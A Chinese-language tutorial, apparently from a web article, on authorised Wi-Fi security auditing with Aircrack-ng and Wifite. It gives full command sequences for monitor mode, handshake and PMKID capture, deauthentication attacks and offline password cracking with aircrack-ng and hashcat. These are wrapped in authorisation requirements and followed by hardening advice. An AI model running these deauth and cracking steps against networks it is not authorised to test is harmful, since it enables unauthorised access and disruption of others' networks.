命令覆盖 Aircrack‑ng 手动流程与 Wifite 自动化,但边界严格限定为:只测自有或已获书面授权的 AP,不得用于蹭网、入侵邻居/公司网络、扫描或干扰非授权 AP。文中把“破解”统一表述为“授权范围内的离线弱口令验证”。

0. 合规前置与流程总览

必须满足的前置条件

  1. 书面授权:明确目标 SSID/BSSID、测试时间窗口、联系人、应急回退方式、是否允许主动去认证/PMKID 采集、数据处理方式。

  2. 只测自有或授权网络:不扫描、不攻击非授权 AP,不影响周边无关网络。

  3. 隔离实验环境:优先用自有路由器搭建测试 AP,避免影响生产网络。

  4. 最小影响原则:优先被动扫描、握手包/PMKID 采集、配置核查;去认证属于主动干扰,必须经授权并控制次数。

  5. 数据合规:抓到的握手包、PMKID、日志、密码哈希加密保存;测试后按授权删除或归档。

流程总览

授权确认 → 环境准备 → 开启监听 → 被动扫描 → 定向抓包 → 授权内触发重连 → 验证握手/PMKID → 离线弱口令验证 → Wifite 自动化审计 → 取证整理 → 清理恢复 → 加固建议


1. 环境准备与网卡检查

使用 Kali Linux 或 ParrotSec,准备支持 Monitor 模式和数据包注入的无线网卡。

bash
sudo apt update
sudo apt install -y aircrack-ng wifite reaver bully hashcat tshark hcxtools

检查网卡是否支持监听模式:

bash
iw list | grep -i monitor
sudo airmon-ng check

确认接口名称:

bash
iw dev
ip link
iwconfig

记下无线接口名,例如 wlan0。虚拟机环境必须将 USB 无线网卡直通给 Kali。

解压 Kali 自带字典:

bash
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
ls -lh /usr/share/wordlists/rockyou.txt

2. 开启监听模式

以下命令仅用于授权审计环境。airmon-ng check kill 会终止可能干扰监听模式的网络管理进程,生产环境需先确认影响。

bash
sudo airmon-ng check kill
sudo airmon-ng start wlan0

验证监听接口:

bash
iwconfig wlan0mon

确认输出中包含 Mode:Monitor。接口名可能因驱动不同而不同,以实际输出为准。


3. 被动扫描授权目标 AP

先做被动扫描,不发送去认证帧:

bash
sudo airodump-ng wlan0mon

记录授权目标的以下信息:

 
参数含义
BSSID 目标 AP 的 MAC 地址
CH 信道号
ESSID 网络名称
ENC 加密类型,如 WPA2
STATION 是否存在已连接客户端

只记录授权范围内的 SSID/BSSID;不要对非授权 AP 做后续定向操作。


4. 定向抓包与握手包采集

使用授权目标的 BSSID 和信道定向抓包:

bash
sudo airodump-ng -c <信道> --bssid <目标BSSID> -w audit wlan0mon

示例:

bash
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w audit wlan0mon

观察 airodump-ng 右上角,出现类似:

text
[WPA handshake: AA:BB:CC:DD:EE:FF]

表示已捕获 WPA 四次握手。抓包文件通常为 audit-01.cap。

PMKID 采集优先

在授权允许时,优先尝试 PMKID 被动采集,减少主动干扰。可用 Wifite:

bash
sudo wifite --pmkid

或按授权流程使用其他 PMKID 采集工具。PMKID 采集同样只针对授权 AP。


5. 授权内触发重连(主动干扰,谨慎使用)

仅在书面授权明确允许主动测试、且目标为授权 AP 时使用。不要对非授权网络发送去认证帧,不建议使用 --deauth 0 持续发送。

bash
sudo aireplay-ng --deauth 5 -a <目标BSSID> wlan0mon

若已知授权客户端 MAC,可定向触发,干扰更小:

bash
sudo aireplay-ng --deauth 5 -a <目标BSSID> -c <客户端MAC> wlan0mon

操作要求:

  • 控制次数,例如 5 次,不持续轰炸。

  • 记录操作时间、目标 BSSID、是否发生去认证。

  • 发送后回到 airodump-ng 终端等待握手提示。

  • 生产网络或授权窗口外不得执行。


6. 验证握手包与离线弱口令验证

先验证抓包文件是否包含有效握手:

bash
aircrack-ng audit-01.cap

若显示 WPA (1 handshake),说明握手包有效;若为 0 handshakes,需重新采集。

授权范围内做离线弱口令验证:

bash
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b <目标BSSID> audit-01.cap

可选:使用 hashcat 做离线验证。先转换格式:

bash
hcxpcapngtool -o audit.hc22000 audit-01.cap
hashcat -m 22000 audit.hc22000 /usr/share/wordlists/rockyou.txt

结果仅用于授权审计报告中的弱口令风险验证,不得用于非授权访问。


7. Wifite 授权审计自动化

Wifite 本质是把 Aircrack‑ng、Reaver、Hashcat 等工具自动化封装。它会执行扫描、捕获、可能触发去认证等操作,因此必须在授权窗口内运行。

基础启动

bash
sudo wifite --kill

指定网卡和字典:

bash
sudo wifite -i wlan0 --dict /usr/share/wordlists/rockyou.txt --kill

只审计 WPA/WPA2

bash
sudo wifite --wpa --dict /usr/share/wordlists/rockyou.txt

只捕获握手包,不立即破解

bash
sudo wifite --wpa --skip-crack

抓包文件通常保存在当前目录的 hs/ 文件夹。

仅做 PMKID 采集

bash
sudo wifite --pmkid

定向指定 BSSID

bash
sudo wifite --bssid <目标BSSID> --wpa --dict /usr/share/wordlists/rockyou.txt

降低主动干扰:不发送去认证帧

bash
sudo wifite --wpa --nodeauths --skip-crack

只显示存在客户端的网络

bash
sudo wifite --clients-only --wpa

对已有握手包重新做弱口令验证

bash
sudo wifite --crack --dict /path/to/wordlist.txt

查看已破解记录

bash
wifite --cracked

验证已有抓包文件

bash
wifite --check hs/xxx.cap

常用参数表

 
参数用途合规注意
-i 指定无线网卡 多网卡环境使用
--wpa 只审计 WPA/WPA2 排除 WEP/WPS
--dict 指定字典文件 仅做授权弱口令验证
--skip-crack 只抓包不破解 降低影响
--pmkid 采集 PMKID 被动审计优先
--kill 终止冲突进程 保证监听模式稳定
--bssid 定向目标 BSSID 只填授权目标
--nodeauths 不发送去认证帧 降低主动干扰
--clients-only 只显示有客户端网络 提高采集效率
--crack 对已有握手包重新验证 仅在授权范围内
--cracked 查看已破解记录 取证整理
--check 验证已有抓包文件 检查握手有效性

建议组合:先用 sudo wifite --wpa --skip-crack --nodeauths 做低干扰采集;需要弱口令验证时,再用 aircrack-ng 或 hashcat 对 hs/ 中授权目标的抓包做离线验证。


8. 输出与取证整理

Wifite 通常将握手包、PMKID 和结果保存在 hs/ 或当前目录输出文件中:

bash
ls hs/
cat cracked.txt

审计记录至少包括:

  • 测试时间与授权窗口;

  • 目标 SSID/BSSID;

  • 使用的接口和命令;

  • 是否发生去认证;

  • 是否抓到握手包/PMKID;

  • 是否存在弱口令风险;

  • 数据处理方式:加密保存、删除或归档。


9. 清理与恢复网络

审计结束后停止监听模式并恢复网络管理:

bash
sudo airmon-ng stop wlan0mon
sudo systemctl start NetworkManager

验证接口恢复管理模式:

bash
iwconfig wlan0

确认 Mode 回到 Managed,网络管理器正常运行。若 Wifite 退出时已自动恢复,也建议手动确认。


10. 常见问题与排错

 
现象可能原因处理
airmon-ng start 后接口未改名 驱动或命名规则不同 用 iwconfig 查看实际接口名;必要时手动设置 monitor
airodump-ng 看不到网络 未进入监听模式或接口选错 确认 Mode:Monitor,更换 USB 口/接口
始终抓不到握手包 无客户端在线;去认证未生效;信道偏移 选择有客户端网络;确认 --bssid 和 -c 一致;控制去认证次数
Wifite 扫描不到网络 冲突进程未终止;接口被占用 使用 --kill,或先执行 airmon-ng check kill
握手包显示 0 handshakes 抓包未锁定信道或握手不完整 重新定向抓包并等待握手提示后再停止
弱口令验证很慢 字典过大或仅 CPU 先用小字典测试;大规模字典考虑 hashcat + GPU

11. 加固建议

  1. 禁用弱口令,使用足够长的随机密码。

  2. 关闭 WPS,或确认路由器已修复 Pixie‑Dust 相关风险。

  3. 优先使用 WPA3‑SAE;必须用 WPA2 时配合强密码和 802.1X。

  4. 限制管理接口暴露,开启访客网络隔离。

  5. 定期更新路由器固件。

  6. 对重要无线环境做周期性授权无线安全审计。

  7. 对审计中采集的握手包、PMKID、日志和哈希加密保存,按授权要求删除或归档。


一句话总结:把前文的 Aircrack‑ng 手动流程与 Wifite 自动化流程整合后,正确用法是“授权确认 → 被动优先 → 定向采集 → 授权内最小干扰 → 离线弱口令验证 → 取证 → 清理 → 加固”;不要把它用于非授权 Wi‑Fi 的扫描、去认证或破解。


原文地址: https://www.cveoy.top/t/topic/qHM1 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录